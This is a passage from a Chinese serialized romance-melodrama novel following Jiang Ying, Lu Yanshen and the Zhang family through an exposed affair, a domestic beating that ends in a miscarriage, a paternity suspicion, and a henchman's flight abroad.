只是追到这里,就没有看到人了,她正四下张望,没想到转身之际跟人撞上。
“哎哟!”
被一个强装的男人撞到,她不由地痛呼出声,稳住身子后,抬头看向撞她的人。
“不好意思。”
男人声音压得低,似乎并没有什么诚意,让人听着不怎么爽利。
“你走路咋这么急?”
凌母被撞得疼,加上对方的道歉不怎么真诚,心里有些不舒服。
她捂着肩膀转头看向撞自己的人,在看清对方长相的一瞬间,凌母脸上微微蹙眉有些不舒服的神色瞬间僵住。
原本就因为丈夫病危而憔悴不堪的脸,此刻更是褪得没有一丝血色。
男人看清眼前的女人后,也露出来震惊的表情。
他四下扫了一眼,见周围没人注意,低头稍稍靠近凌母,声音冷冽,“我警告过你们,不要再出现在江北,是不是嫌你儿子的命太长了?”
男人阴冷的声音传到凌母耳中,让她不受控制地颤抖起来。
“赶紧滚出江北,否则……”
听到这话,凌母哆嗦着腿也软了,身体突然往旁边倾倒。幸好旁边有墙,她找到支撑点,没
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有摔倒。
嘴里喃喃道:“别,别,别动我儿子,我们马上走,马上走。”
男人阴狠的眼神,让她不敢抬头再看一下。
“记住你们的承诺,事情若是败露了,当心你们人才两空。”
男人留下这句话后,径直离开。
凌母靠在墙上反应了半天,总算是找回了自己,扶着墙往回走。
“我们马上走……马上走。”
她神经质地喃喃自语,苍白的唇控制不住地哆嗦着。
宋瑾修远远看着前面的一幕,脸上神色冷到了极点。
他警告过卫平,这个时候少来,多少双眼睛盯着薛婷婷,但他偏偏不听。
江莹还没有跟陆砚深离婚,这个时候还不能让她知道太多。
所以卫平不能再放在身边。
……
医院大楼外,寒风裹胁着初春的冷意。
薛婷婷站在父亲刚拦下的出租车旁,把身上的羽绒服紧了紧。
江莹站在台阶上,宋瑾修落后半步,安静地陪在她身侧。
薛婷婷扫了他一眼,眸底有水光。
宋瑾修暗暗给她一个眼神,示意她赶紧走。
江莹拍拍她的肩,轻声催促,“上车吧,刚出院吹不得冷风。”
薛婷婷点头,“江姐,其实我好羡慕你。”
她说完视线再次越过江莹,深深地看了一眼宋瑾修。
随后,她突然扯了扯嘴角,笑容有些让人看不透。
江莹微微一愣,别人不知道陆砚深对她怎么样,薛婷婷还不知道?
一个女人,三年都没有焐热自己老公的心,被小三追着恶心,这有什么好羡慕的。
想到这里,她弯唇笑了下,“我有什么好羡慕的,走了这么多年的弯路,才发现自己走错了。”
薛婷婷摇了摇头,声音很轻,却带着经历世事的通透,“羡慕你有宋先生这么好的人,一心一意地护着你。”
江莹眉头微蹙,觉得这话有些不妥,刚想开口打断。
薛婷婷却没给她机会,自顾自地继续说道:“还有陆总。”
听到这个称呼,江莹呼吸微滞。
“其实只要不瞎,都能看出陆总心里是有你的。”
宋瑾修盯着他,眸色冷沉。
薛婷婷却不看他,嘴角勾起的笑,温柔恬淡。
第165章 一脚踹在她肚子上
“公司里大家都说陆总就是那种不长嘴,死傲娇的人,这种男人不会说软话。”
江莹僵在原地,捏着包带的手指无意识地收紧。
陆砚深心里有她?
薛婷婷的话让她觉得有些荒唐,但傲娇不张嘴,倒是总结得很到位。
宋瑾修凉薄阴沉的视线越过江莹的肩膀,冷冷落在薛婷婷身上。
饱含寒意和恨意的眸色里是薛婷婷一眼就能看明白的警告。
薛婷婷触及到那个眼神,抿着唇笑了起来。
像是在笑自己曾经的蠢,又像是在这一刻终于豁然开朗了。
这就是她追随了十年的男人。
为了他,她去当枪使,毁了前程,甚至流掉了一个孩子。
从她流产到今天出院,这个男人没有问候过一句她的身体。
他所有的温柔、耐心和算计,都只为了怎么得到另一个女人的欢心。
一个男人若是不爱你,心比石头还要硬。
江莹看着她,抬手摸了摸她的肩膀,“婷婷,你就别操心我了,照顾好自己。”
“江姐,你保重。”
薛婷婷收回视线,弯腰坐进车里,没有任何留恋。
车门重重关上的那一刻,仿佛隔绝了她这十年荒唐的执念。
……
此刻的张家,已经彻底翻了天。
“砰!”
高尔夫球杆砸在黄花梨木的茶几上,狠厉的声音刚落,响起果盘和杯子的碎裂声。
“啊——”
躺在沙发上敷面膜的唐玉惊叫一声,随即揭掉脸上的面膜,弹坐起来。
看到张启明站在茶几旁边,凶神恶煞地盯着她,身体猛地哆嗦了一下。
她快速稳住情绪站了起来,然后后退了两步,拉开自己和张启明的距离,只是开口的语气依旧盛气凌人,“张启明,你有病吧,抽什么风?”
张启明瞪着她的双眼泛红,五官因为盛怒有些扭曲。
“你个**,竟敢骗老子。”
他今天约了人打高尔夫,结果刚到球场就收到了江莹的消息,球没有打成,直接去了一趟医院。
证实唐玉确实怀孕。
张启明多年前就被诊断出弱精,张诚诚的出生一度让他觉得是老天给他的恩赐,没想到是个天大的笑话。
想到江莹那条消息,还有匿名人给他发的亲子鉴定,整个人像是要被点燃了一样,眼底猩红一片。
五年!
这个贱女人居然在他的眼皮子底下,跟别的男人苟合了整整五年!
他一心谋划着转移公司的财产,以为是在给自己的宝贝儿子铺路。
搞了半天,他张启明成了彻头彻尾的绿毛龟。
“张启明你疯了是不是?你把东西放下!”唐玉面色苍白,声音哆嗦起来。
“我疯了?老子今天就让你看看什么是疯!”
张启明狠厉地挥动球杆,带着一阵风声,直直砸向唐玉。
“啊!”唐玉被吓得慌忙躲开,“启明,你到底怎么了?”
“你个**,看我不打死你。”
唐玉躲,张启明追,两人在客厅里转圈圈。
“救命……救命啊!”
她边叫边躲,躲在屋里打游戏的张冉冉听到动静从楼上下来。
看到客厅的场景整个人傻眼,父亲一直很宠母亲,可以说母亲说东,他不往西。
今天是在怎么了,竟然满屋子追着母亲打。
“爸,有话好好说,你先放下球杆。”
挨打的毕竟是自己母亲,张冉冉再怕事也得往上凑。
但张启明举起的胳膊已经控制不住,唐玉躲开,她冲了上来,一杆子砸在她身上。
“啊!”
张冉冉杀猪一样的惨叫声,响彻了整个客厅。
“谁让你过来,蠢材!”
张启明看打到自己女儿,神色怔了一瞬。
唐玉顾不上女儿,瞅准机会往外跑。
张启明看她要溜,没心思去管张冉冉,拉着球杆往外追。
“**,还敢跑?”
唐玉看他紧追不放,心想张启明应该是知道了什么。
这会儿不再问,也不再求救,保命要紧。
跑到院子里,儿子张诚诚过来抱住她的腿,“妈妈,你要干什么去?”
老太太带着孙子在院子里玩儿,听到动静过来,想看看发生什么事了,噼里啪啦地响,还有张冉冉的惨叫。
唐玉眼看自己快要跑出去,没想到被自己儿子拦住了去路。
前有拦路人,后有疯狗追,她绝望地看了一眼自己儿子。
想要推推不开之际,张启明拿着高尔夫球杆追了过来。
“死**,你敢骗老子。”
唐玉抱紧张诚诚,像是抓到了救命稻草。
“启明,不知道我哪里做错了,但你看在儿子的面上原谅我好不好?”
她不提儿子,张启明还没有举起球杆。
毕竟张冉冉的惨叫压下了一丝他心里的恨意,让他清醒了几分。
这会儿提起张诚诚,张启明刚恢复的一点理智被心里的恨意烧了个精光。
他一把揪住
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唐玉的头发,另一只手将球杆对准了张诚诚,“走开,要不然老子连你一块儿打。”
老太太不明所以,在一旁呵斥,“发什么疯,你敢动我孙子一下试试。”
张诚诚吓得直接窜到了老太太怀里,哇哇大哭。
唐玉看到自己的救命稻草没起到作用,反而被张启明直接揪住,心里被绝望和恐惧占满。
“启明,有话好好说,我们这么多年的感情,有什么事是不能商量的?”
张启明不听她废话,拿着球杆对着她的肚子捅了过去。
“啊……”
唐玉痛呼出声,整个人瞬间瘫软,被张启明揪着头发的刺痛,不及小腹处痛感的十分之一。
她捂着肚子,额头冷汗直冒,“张启明,你好狠的心,好歹我跟了你二十多年,为你生了一双儿女。”
老太太也看不下去,向来对唐玉宠爱有加的儿子,怎么突然对她下手这么重?
“老二,有话好好说,别吓到孩子。”
张启明冷笑出声,眼神阴鸷,“一双儿女?死到临头还敢说,真当你跟孙育华那点事我什么都不知道呢?”
听到“孙育华”三个字,唐玉脸上最后一丝血色退得干干净净。
张启明看着她做贼心虚的表情,抬手又在她腰上重重落下一杆。
瞬间,唐玉身下殷红一片。
唐玉像一只熟虾一样蜷缩起来,甚至叫不出声,脸上表情狰狞扭曲。
老太太看到这一幕,瞬间松开张诚诚,上前推开自己儿子,“你发什么疯,赶紧送医院,当心孩子保不住。”
张启明松开唐玉的头发,在老太太以为他准备救人自己,他抬脚对着她的肚子狠狠踹了下去。
这一脚,他用了十足的力气,没有半分留情。
唐玉的惨叫声引来不少人驻足,周围的邻居目睹这一现场,不但没有人打电话叫120,反而站在一旁看热闹。
“活该,一个小三整天花枝招展,被男人这么打,想必孩子来历不明。”
“狗男人也活该,老婆刚出事,他就把小三带回了家。”
“听说,这男人的一切都是她老婆娘家的,他就是个吃软饭的。”
“以后得小心点,软饭男都狠着呢。”
“一对狗男女,男盗女娼。”
“喜当爹”、“接盘侠”、“绿毛龟”,这些词不断传入张启明耳中。
大家你一言,我一语,让他颜面尽失。
张启明看着周围天旋地转,下一秒,直直栽倒在地上。
第166章 江莹有可能是我的女儿
湖心公馆,二楼卧室。
午后的阳光透过落地窗洒在床沿。
陆砚深靠在床头,腿上放着笔记本电脑,正在看公司新一年的项目规划。
脑子里却时不时传来江莹那句“初八去领离婚证”。
这个没良心的女人。
他烦躁地合上电脑,随手扔在一旁。
拿起手机看了看时间,这个点了都没回来。
陆砚深下床,走到窗前,看到在院里的江岚,心里莫名静了下来。
这时,手机响了起来。
陆砚深看到时乔远文的电话,直接接了起来。
“姑父!”
乔远文在大年初二就离开了江北,陆砚深有伤,没有去送。
这会儿打电话过来,他还挺意外。
“砚深,有件事我……”
乔远文有些说不出口,他声音低沉,甚至有些忐忑。
陆砚深的神经立马紧绷了起来,能让乔远文这个语气说话,事情应该很棘手,说不定会关系到陆家的生死存亡和他自己的仕途。
“姑父,有事你尽管说。”
陆砚深说这话时深吸了一口气。
“有件事我确实纠结了好几天,思来想去,交给你去办最合适。”
“你说,只要我能办到。”
乔远文回到京市这几天,脑子里全乱了。
当初江岚单方面提出分手,甚至完全不给他解释的机会。当时他因为工作去西部考察,在那边待了三个多月,回来便看到她跟张启明站在一起,肚子微微隆起。
当时,他是恨江岚的,恨她那么快就投入到了另一个男人的怀抱,还有了别人的孩子。
“砚深,你别紧张,是件私事。”
听说是私事,陆砚深绷紧的情绪缓了下来,静静听着。
“其实,在我跟你姑姑结婚之前,我有一个女朋友,我们交往了三年。后来,她嫌我工作忙,陪她时间太少,加上异地的关系,她接受了家里的安排,跟他父亲公司的一个员工结了婚。”
陆砚深眉头不由皱了起来,没想到像姑父那样威严的人,竟然也有……
“这个,我确实没有听说过。”
陆砚深从床头柜上抽了根烟,点燃,在沙发上坐下。
“怎么现在突然提起这事,是不是对方遇到了什么难处?”
手机里传来一声低低的叹息,沉默片刻,乔远文开口,“她早就遇到难处了,但我们约好此生不见,我没有理由见她。但见到过江莹之后,这一切就被打破了。”
陆砚深眉头拧紧,不解道:“这跟江莹有什么关系?”
“我曾经的女友是江莹的母亲。”
陆砚深傻眼,夹着烟一动不动,半晌没有反应过来。
“我知道你肯定觉得不可思议,在我看到江莹的那一刻,我也不可思议,她跟江岚年轻时太像。初一那天得知江莹也对杏仁严重过敏,我心里就乱了。”
这话里藏着什么,陆砚深不会不明白,他眼睛直直盯着楼下的江岚,脑子像是被砸了一样空白一片。
甚至完全忘了自己手里夹着烟,直到被烫到,他才回神。
“砚深?”
陆砚深迟迟没有任何回应,乔远文试探性地叫他。
“姑父,你的意思是?”
乔远文毫不隐瞒,“对,我怀疑,江莹有可能是我的女儿。”
“从江莹出生的时间和相同的过敏源来看,我几乎可以肯定。”
陆砚深沉默了,江莹是自己姑父的女儿,这……
“我知道这听起来有些荒谬,我也不想贸然打扰江莹,但我心里过不去这个坎。你能不能帮我拿到江莹的样本,这件事我必须弄清楚。”
陆砚深将手里的烟按在烟灰缸里,房间里一阵寂静。
“可以,这个不难。”
“谢谢,我明天回江北。”乔远文停顿两秒又道:“这件事别跟你姑姑说,她会受不了。”
挂断电话,陆砚深紧紧抿起薄唇,思绪复杂。
想到姑姑这些年对乔远文的爱,心里有些发酸。
若是让她知道,她一直引以为傲的丈夫心里一直藏着另一个女人,她能不能接受?
江莹若真是姑父的女儿,那这个家的关系就太乱了。
这时,江莹开车回来,叫了王嫂拿东西。
看着楼下笑容明媚的女人,陆砚深定定站在窗前一动不动。
突然想到她出门前,说张启明不是她父亲时的笃定和嫌弃。
心里五味杂陈。
这个女人到底瞒了他多少事?
江莹在楼下把
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钟宏给她带的特产收拾好之后,上楼。
看到陆砚深站在窗前,开口提醒,“伤口刚长好,你别站太久。”
陆砚深转身看她两秒,然后捂着伤口,声音低沉,“江莹,过来扶我一把,好像刚刚扯到伤口了。”
江莹信以为真,秉着让他尽快好,不耽误离婚的原则上前扶住他。
陆砚深顺势靠在她肩上,抬手将人直接揽在怀里。
江莹没在意,扶着他往床边靠,“你去床上躺着,我让医生过来。”
陆砚深抱着她不动,“不用叫一声,就揪了一下,让我缓一会儿就好。”
“那可不行,后天就是办手续的日子,你不能掉链子。”
听到这话,陆砚深身子一僵,原来她关心他都是为了不耽误去办手续。
他直起身,看着江莹,眸色深沉蕴着怒意。
“这么看着**什么,我那句话说错了。若不是因为过年,民政局放假,我们手续都办完了。”
陆砚深额角突突直跳,看着面前叭叭的小嘴,下一秒低头直接吻住,双手捧着她的脸。
力道重的发狠,带着股子憋了好久的火气,似乎还有股江莹想都不敢想的心疼。
江莹冷了一瞬,头往旁边偏,手在他胸前推:“陆砚深,你……”
嘴被堵住,她的叫嚣被眼前的男人悉数吞没。
江莹躲不了,只能挡在他胸前挣扎,但又不敢太用力,指尖碰到他腹部,下意识就收了劲。
陆砚深摸准了她的顾虑,非但没松,反而伸手扣死她的腰,把人往怀里按,吻得更凶了。
江莹急了,含糊地骂:“狗……狗东西,身上有伤乱发情。”
陆砚深充耳不闻,舌尖蛮横地撬开她的嘴,像是要跟她置气,又像是要把她的冷漠都磨掉。
江莹脸涨得通红,呼吸都乱了,挣扎得更凶,却被他抱得死死的,连动一下都费劲。
正僵持,她口袋里的手机响起来,嗡嗡的震动声打断了旖旎的氛围。
陆砚深动作顿了顿,眉头皱得死紧,却还是没松手,眼神里全是不情愿。
江莹趁机猛一推他,喘着粗气,手忙脚乱地摸出手机,看清屏幕上“张老太太”几个字,绯红的脸颊瞬间露出一个笑。
第167章 一个都跑不掉
陆砚深伸手将人抱在怀里,带着人在沙发上坐下。
江莹瞪了他一眼,挣脱不了,干脆接通了电话。
电话刚接通,那边就传来张老太太尖厉的骂声:“江莹你个没良心的白眼狼!你是不是故意害我们家?!”
江莹皱着眉吼回去:“你们家不是我害的,是你儿子眼瞎。”
老太太更气了,声音都在抖:“你个没良心的东西,以为有陆家给你撑腰你就可以不孝吗?竟然挑拨离间,害自己老子。你爸突发脑出血,送医院抢救了,这下你满意了。天天搅得我们家不得安宁,你让陆砚深找最好的专家给你爸做手术,不然我饶不了你!”
江莹握着手机的手猛地一僵,指节都泛了白,刚刚脸上的红润消失,取而代之的是清冷。
“张启明是自找的,他活该,我不会管。”
她说完挂断电话,突然觉得手都是凉的。
她恨张启明,恨不得他死。
但是让他接受法律的制裁,若是因为自己的消息把他气**,多少心里有些接受不了。
陆砚深像是看穿她的心思,紧紧将人抱在怀里,“心软了?”
江莹转头对上他近在咫尺的眸子,莫名心里发酸,“陆砚深,我们后天就要办手续了,你觉得你现在这样合适吗?”
“没什么不合适,你是我老婆,一天没有离,一天就是。”他盯着她,没有再生气,而是十分肯定地说:“就算是离了,只要我不放人,你也不可能再嫁给别人。”
江莹盯着他霸道又**的模样,磨了磨后槽牙,“陆砚深,你是我见过最不要脸的人。”
陆砚深没有搭理她,只是将人抱得更紧。
直到此刻,他才知道,江莹这些年在张家过的是什么日子,之前是他误会了。
“你这次虽然出发点是唐玉和孙育华的私情,但也打破了原有的平衡,接下来的事交给杜宇你不要再插手。”
提起这件事,江莹原本的抗拒缓了下来,思索两秒道:“他们狗咬狗的时候,或许有机会。”
“杜宇会派人盯着,放心一个都跑不掉。”
……
凌母回到病房后就心神不宁,一直催着凌澈去办出院手续。
凌父显然也是知道自己不能待在江北,醒来也没有精力骂儿子,有气无力地劝凌澈。
“儿子,爸知道你的心思,但爸的身体不争气,不能再陪着你和你妈。与其我们在这里浪费时间,不如让爸回家。爸这辈子没什么出息,就想守着你妈和你,守着我们家。”
凌澈紧紧握着父亲的手,一个劲摇头,声音哑得不成样,“爸,你别担心钱,我有能力挣钱。”
他知道父亲是担心自己没有治好,反而连累他。但,现在回家,就是等死,哪个儿女能舍得让自己的老父亲躺在家里等死。
哪怕知道最终的结果,他也想让父亲多活一天。
凌母坐在旁边,眼泪像是流干了,眼神空洞,态度却坚定。
凌澈说完,她双腿一软,“扑通”一声就跪在了儿子面前。
凌澈吓了一跳,赶紧弯腰去扶,手都在抖:“妈,你干什么啊?快起来!”
凌母没有起,死死攥着他的手腕,“小澈,妈求你了,就顺着你爸吧。他想回家,回咱们自己家。”
凌澈不明白,明明刚刚还好好的,虽然也不愿,但在自己的坚持下母亲也妥协了,怎么出去一趟回来像变了个人。
“妈,你是怎么了,他是我爸,回家意味着什么你不会不清楚。”
“儿子,结果爸妈都知道,不会怪你。”
凌母说着就要弯腰磕头,凌澈赶紧拦住她,看着母亲卑微到尘埃里的样子,他心里那道防线,“咔嚓”一声就碎了。
凌父看自己妻子态度这么坚决,隐隐觉得不安,喘着粗气声音虚弱,“儿子,让爸回家吧,你总不能让爸爸死在外面,进不了家吧?”
一直强忍着不让自己落泪的人,这会儿再也绷不住,高大的身子猛地佝偻下来,顺着床沿滑跪在地上,双手捂着脸,哭得撕心裂肺。
“好……我们回家,我们现在就回家……,我现在就去办出院手续。”
病房门外,一道黑影悄无声息地缩到拐角阴影里,边走边打电话。
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>直到凌澈办完出院手续用轮椅推着父亲离开医院,那人才离开。
卫平躲在家里,收到消息后,直接给宋瑾修打电话。
电话响了好一阵,那边才传来声音,轻飘飘的,透着冷意:“说。”
听到他的声音,卫平后颈就开始冒冷汗,咽了口唾沫,声音发紧:“宋哥,对不住,这次是我办事不力,差点被人撞破。您放心,以后我肯定加倍小心,绝不再出岔子,凌家已经离开江北。”
电话那头没有任何声音,安静了几秒,就这几秒,卫平觉得像过了一个小时,冷汗顺着额头往下淌。
“不用以后了。”宋瑾修突然笑了一声,“机票发你手机上了,去越南,今晚十一点的航班。”
卫平愣了,握着手机的手猛地收紧,声音变调了:“宋哥,您……您这意思是?”
“江北你不能再待,连夜走。”宋瑾修的语气没半点波澜,“那边有人接应你,以后,就别再回来了。”
今天在医院,宋瑾修看到卫平急匆匆离开,他拉开房门时,注意到有人盯着卫平。
若不是他突然出现,打破了那人的节奏,估计卫平这会儿已经落入了别人手里。
电话挂断,听筒里只剩“嘟嘟”的忙音。
卫平靠在冰冷的墙壁上,看着手机里的航班信息,嘴角扯出苦笑。
他心里清楚,自己被舍弃了。一个弃子,能留条命去越南,已经是宋瑾修念着他办了这么多年事,手下留情了。
卫平不怪宋瑾修,是他自己没有听他的警告,偷偷去看妹妹。原本以为白天人多不会被人注意,而且容易逃。没想到没被陆砚深的人抓到,而是被宋瑾修撞上。
他在风里站了好久,手指冻得快没知觉,最后点开手机银行,看着里面这些年拼死拼活攒的钱,没半点犹豫,一分不剩,全转到了薛婷婷的账户里。
转完,他手抖着发了条短信:“好好活着,别再犯傻了,他不值得你这么付出。”
发完,他把手机卡抽出来,直接掰断,扔进旁边的下水道。
然后,头也不回地钻进了夜色里。
第168章 事情真有这么巧
这一夜,张家彻底乱了。
张家别墅里灯火通明,却透着压抑。
张启明被拉去医院后,抢救了好几个小时,总算捡回一条命,可大面积脑出血,后半辈子彻底瘫了,话都说不利索。
唐玉也好不到哪儿,那一杆加上张启明一脚,不仅把她肚子里的孩子打没了,还伤了子宫。医生说,她这辈子,都不可能再怀孕。
张老太太最引以为傲的小儿子,今后有可能再也站不起来,顿时恨透了唐玉。
这个**她不但怀了别人的孩子,竟然连她一直宠爱的孙子都不是张家的种。
老太太一口气没上来,直接晕倒。
一夜之间,张家老的小的全躺进了医院,彻底乱成了一锅粥。
张冉冉在老太太身边照顾她吃饭,一辆黑色轿车直直停在门口。
孙育华从车里下来,看了一眼周围,带着两个人直接进入张家。
他心里清楚,张启明要是醒了,查清真相,绝对不会放过他。
而,背后的人应该也不会让他干净抽身。
趁着张家现在没人管,对方还不知道情况,跑路要紧。
张家佣人看到有人闯了进来,战战兢兢上前询问,“先生,找谁?”
孙育华挥挥手,身后的保镖直接将佣人拖走。
他如入无人之境,上二楼抱起还在熟睡的张诚诚就走。
张冉冉听到动静出来,看到张诚诚被人抱走,呵斥道:“你是谁,放下我弟弟。”
孙育华没有回头,冷声道:“跟你妈说,我儿子我带走了。”
说完直接上车,一脚油门踩到底,直奔江北国际机场。
张冉冉想去追,被保镖一把推倒。
晚上十点钟,孙育华抱着张诚诚出现在机场的安检通道。
眼看就要踏进安检通道,一只骨节分明的大手突然伸了过来,直接按住了他的肩膀。
“孙经理,大晚上带着孩子要去哪儿?”
杜宇声音慵懒,脸上挂着一抹浅淡的笑,眼神却异常冷。
孙育华后背一紧,看着杜宇强装镇定:“你谁啊?我带我儿子出国旅游,关你屁事!”
说着就想甩开杜宇的手,直接往安检口闯,却被杜宇身后的人一把抓住胳膊。
孙育华被杜宇的人扣住,并将他怀里的孩子抢了过去。
“孙育华,你涉嫌职务侵占、商业**,现在还偷别人孩子,张家已经报警。”
孙育华僵硬的神色变得苍白,腿一软,差点瘫在地上。
看着周围都是杜宇的人,他心里清楚,自己彻底完了。
周野得到消息赶来,看杜宇已经把人拦下,倚在车旁抽烟。
“周警官,人交给你了。”
周野点头,“陆砚深那货真是好命,有你这么一个得力的助手,能文能武。”
杜宇笑笑,“我现在觉得人应该藏拙。”
周野挑眉一笑,“杜特助,拿那么高的薪水,自然是要比旁人干得多。”
杜宇蹙眉,显然沈总已经把他高薪的事传开了。
孙育华被带上**的那一刻,知道自己这辈子彻底完了。
大年初七,假期最后一天。
湖心公馆的书房,气氛有些低沉。
杜宇将手里的资料放在陆砚深面前,“陆总,薛婷婷背后的人,有眉目了。”
陆砚深坐在沙发上,手里端着咖啡,神色凝重地接过资料。
看到卫平的资料,脑子里浮现出周野的话,医药和化工指向性太明显。
而卫平正是周野调查的那家化工厂的技术科科长,而宋瑾修刚好有投资。
事情真有这么巧?
许振清的出轨对象杨慧是宋瑾修的表妹,薛婷婷要掩护的人在宋瑾修投资的化工厂工作。
杜宇不知道陆砚深心的心思,简单地说着这几天监视薛婷婷的经过。
“薛婷婷住院这几天,那男的总共来两次。第一次是她爸妈去楼下打水,那男的溜进病房,待了不到两分钟。我们当时不确定他身份,没敢动手,想跟着他找住处,结果那小子反侦察能力太强,而且心思细腻。在老城区绕了几圈,把我们的人甩了。”
陆砚深手指轻轻敲着桌面,冷笑一声:“第二次呢?”
杜宇顿了顿,他挠了挠耳垂,声音低了几个分贝,“第二次是薛婷婷出院那天。”
“你心虚什么,大声点。”陆砚深不耐烦地睨了他一眼。
杜宇皱眉,提高声音,“第二次是初五,薛婷婷出院那天。我们本来打算等他出了医院动手,结果……宋瑾修突然从病房里出来,就站在走廊上。那男的一看见宋先生,转身就跑,我们的人没有反应过来。追上去的时候,被一个推着小车的护士挡住。”
陆砚深敲桌面的手猛地停住,抬眼看向杜宇,语气
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发冷:“宋瑾修?他为什么会从薛婷婷病房出来,他们认识?”
杜宇看了一眼自己老板,声音又稍稍低了几分,“按天他跟太太一起去的,看望了凌澈的父亲,然后去看了薛婷婷。而且,还给太太带了不少特产和糕点。”
听到这里,陆砚深的脸肉眼可见黑了下来,初五晚上,江莹确实拿了几样糕点说是特产。他觉得挺好吃,加上家里氛围不错,他还吃了几块儿。
早知道是他送的,打死也不吃。
陆砚深黑子脸问:“人呢?”
杜宇有些忐忑,本来没有抓到人,心里就有些发虚,但看到老板提前不爽,他心里更没底。
“没……没抓到,昨天十一点的飞机,飞越南了。临走前,他把名下所有钱,全转给薛婷婷了。”
陆砚深瞳孔收紧,盯着杜宇,“资料是人走了之后才查到的?”
杜宇生无可恋的点点头,确实是有些丢人,人出现了两次都没抓到。
陆砚深合上文件,扔在书桌上,语气不容置疑:“把这份资料发给周野,让他从南郊化工厂这条线深挖,我要知道,这个卫平到底在替谁卖命。”
“好,我会安排。”
“昨天让你送去检测的样本,什么时候有结果?”
“明天一早,按你说的,留的刘秘书的电话和邮箱。”
陆砚深点头,其实结果他几乎已经可以肯定。
杜宇离开后,陆砚深盯着桌子上的资料,脑子里却是宋瑾修的脸。
温润、和煦,即便生气也保持着风度,就是这样一个男人让他看不透。
尤其是他注册公司的三千万,到底是不是从临市分公司弄到的,一直都悬而未解。
江莹在院里陪母亲晒太阳,看到杜宇出来,将人叫住。
“杜宇,事情是不是有进展了?”
杜宇愣了愣,太太跟陆总住在一起不知道情况,还需要他转达?
“哦,太太,事情已经交给了周警官,目前孙育华的罪证是挪用**,转移**资产,他暂时还没有交代别的。”
江莹知道急不得,点头跟他道别。
十分钟后,陆砚深换了件黑色大衣,走到江莹面前,淡淡开口:“收拾一下,跟我回趟老宅。”
他在楼上思来想去,觉得还是要在许振清走之前见见他。
当然还要找老爷子问问宋瑾修的底细。
第169章宋瑾修您了解多少
江莹头在跟梁玥和孟澜聊天,视线停留在手机上,没有抬头。
“去干什么?明天初八,民政局上班,我们就要办离婚手续了,还去演戏,有意思吗?”
陆砚深脸色沉了下来,压着心里的不爽:“老爷子这几天天天打电话问,我身体好得差不多了,没理由再躲着。就当最后一次,陪老人吃顿饭。”
陆爷爷对她很好,要不然也不会将湖心公馆作为婚房直接登记在她名下,就冲着这份情,她也没法拒绝。
半小时后,车子开进陆家老宅。
古色古香的四合院里,张灯结彩,相比湖心公馆年味浓郁。
江莹一下车,目光就被廊檐下的一排八角宫灯吸引住了,正是她直播间卖的那一批。
江莹看着自己工作室的产品,挂在陆家老宅,鼻尖莫名开始发酸。
原来,陆家人都知道了。
她在陆家一直像个透明人,却没想到,跟陆砚深要离婚了,却像是才被注意到。
“爷爷,奶奶。”陆砚深带着她走进正厅。
陆老爷子和陆老太太在客厅喝茶,看见他们进来,老两口立马笑开了花。
老太太冲他俩招招手,“可算回来了,走之前也不说一声,一下子大半个月没有见到你们俩。”
老爷子坐在椅子上,佯装生气地瞪了陆砚深一眼:“你个臭小子,总算开窍了,要早点带着莹莹出去转转。说不定我跟你奶奶早抱上重孙子,这会儿都能跟我要压岁钱了!”
江莹被说得脸颊发烫,尴尬地低下头。
明天就要离婚了,这么骗老人,合适吗?
老太太看着江莹,眼神比以往更慈爱。半个月没见,现在怎么看怎么顺眼,甚至比直播里还要好看。
“莹莹啊,廊檐下那几盏灯笼,我和你爷爷都很喜欢,以后你再有什么好物件,可得第一时间给奶奶看看。”
江莹心里猛地一颤,看着老太太真诚的笑,觉得不真实。跟陆砚深结婚三年,老太太几乎没给她什么好脸色。没想到,她跟陆砚深缘分尽了,却得到了认可。
只是这份认可,来得太晚。
“好,奶奶,以后有好的,我一定给您留着。”她强扯出一个笑,声音都有些干。
旁边的二婶、三婶连忙附和。
“妈现在逢人就夸,说咱们家莹莹不仅长得漂亮,还是个深藏不露的非遗大师。”
三婶孙兰芳有些夸张,“是啊,圈子里那些贵妇,谁不羡慕咱们陆家娶了莹莹这么个才貌双全的宝贝。”
孙兰芳嘴上夸着,眼神却在江莹和陆砚深之间来回瞟,心里犯嘀咕:不是说初八就要离婚吗?看这架势,砚深看莹莹的眼神都快黏在一起了,哪像要离婚的样子?
**婉向来是老好人,她看着江莹抿唇笑道:“对了莹莹,你之前直播的时候,有个粉丝疯狂打赏,冲到榜一,还记得吗?”
这话一出,客厅里瞬间静了。
孙兰芳眼里带着隐隐的雀跃,仿佛是嗅到了八卦的气味。
一旁的陆砚深,神色微微一僵。
江莹愣了一下,点头:“是,有这么个人,怎么了?”
“你知道是谁吗?”
江莹摇头,“不知道,直播后就没有再关注这件事。”
二婶笑容温和,指着旁边装深沉的陆砚深:“那个榜一,就是你老公。”
江莹脑子像是被被敲了一下,彻底懵了,难以置信地转过头,看向陆砚深。
“陆宁那丫头好奇,就偷偷找查了那个账号,结果发现是两年前她帮砚深注册的账号。”
**婉不愧是陆家老好人,当着众人的面说陆砚深豪掷百万成为榜一,不就是宠妻,给自己妻子造人气吗?
孙兰芳还想等着看两人是否能离婚,没想到道**婉在这里助攻。
心里暗暗骂**婉老狐狸,在公公婆婆面前装好人。
江莹这会儿呼吸有些乱,她怎么都没有想到,眼前这个冷冰冰、高高在上的男人,是那个蹲在直播间从头到尾刷了礼物的人。
陆砚深被她盯得浑身不自在,向来没表情的俊脸上,难得露出几分不自然,脸
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绷得紧紧的,耳根却悄悄红了。
“二婶,你话太多了。”
他冷冷丢下一句,猛地站起身,不敢看江莹的眼睛,“爷爷,我又是跟你谈,我们去书房说。”
老爷子出院后一直在静养,身体恢复的还算不错。
看到自己大孙子那个别扭劲儿,瞪了他一眼,打趣道:“我都不知道,我们家还出了一个做好事不留名的人。”
陆砚深故作疏离,双手插在口袋里,快步往书房走,甚至没有停下来等一下脚步蹒跚的老爷子。
江莹看着他的背影,原本平静的心底,像是被人投了一颗石子,荡起层层涟漪。
书房门关上的那一瞬,陆砚深神色清冷严肃了几分。
老爷子过来在沙发上坐了下来,“被自己老婆发现你在乎她,很丢人吗?”
陆砚深强辩,“您什么时候也变得婆婆妈妈。”
“砚深,你爸妈的事,跟你没有关系,他们之间的婚姻,不是全部。天下幸福的婚姻,比比皆是,他们只是少数不幸中最……”
“爷爷,我来是有别的事,不想提他们。”
陆砚深的抗拒,让老爷子无奈的摇了摇头,这件事在陆家没有人敢提,但他看得出来,自己大孙子对待婚姻的态度,受到了父母的影响。
“什么事,你说。”
陆砚深缓了一下情绪,开始谈正事,“那个宋瑾修您了解多少?”
老爷子原本坦然的神色在听到宋瑾修这个名字时,瞬间僵住。
